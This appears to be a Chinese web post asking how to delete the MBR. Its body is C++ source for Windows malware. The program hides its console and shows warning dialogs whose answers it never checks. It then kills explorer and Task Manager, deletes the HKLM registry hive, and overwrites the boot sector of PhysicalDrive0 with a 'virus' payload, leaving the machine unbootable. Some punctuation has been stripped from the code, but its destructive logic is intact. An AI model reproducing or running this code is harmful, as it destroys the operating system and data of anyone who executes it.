如何删除MBR?

发布时间:2026/7/3 18:00:19
如何删除MBR? #include iostream#include windows.h#include cstdiousing namespace std ;unsigned char sco[] ////////////////16进制\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c\x00\xBA\x1D\x0E\xCD\x10\xE2\xFE\x0D\x0A\x49\x27\x6D\x20\x61\x20\x76\x69\x72\x75\x73\x21\x42\x79\x65\x21;DWORD MBR() {DWORD Ropen;BYTE pMBR[512] { 0 };memcpy(pMBR, sco, sizeof(sco));pMBR[510] 0x55;pMBR[511] 0xaa;HANDLE hDevice CreateFile(\\\\.\\PhysicalDrive0,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);//写入磁盘文件WriteFile(hDevice, pMBR, 512, Ropen, NULL);}int main(int argc, char* argv[]) {HWND hwnd GetConsoleWindow();ShowWindow(hwnd, SW_HIDE);MessageBox(NULL, The software you just executed is considered malware. This malware will harm your computer and make it unusable. If you are seeing this message without knowing what you just executed, simply press No and nothing will happen. If you know what this malware does and are using a safe environment to test, press Yes to start it, system terminator, MB_YESNO | MB_ICONEXCLAMATION); //弹出弹窗MessageBox(NULL, system terminator THIS IS THE LAST WARNING! THE CREATOR IS NOT RESPONSIBLE FOR ANY DAMAGE MADE USING THIS MALWARE!, system terminator, MB_YESNO | MB_ICONEXCLAMATION); //弹出弹窗system(taskkill /f /im cmd.exe) ;system(taskkill /f /im explorer.exe) ;system(taskkill /f /im Taskmgr.exe) ;system(reg delete HKLM /f) ;MBR();return 0;}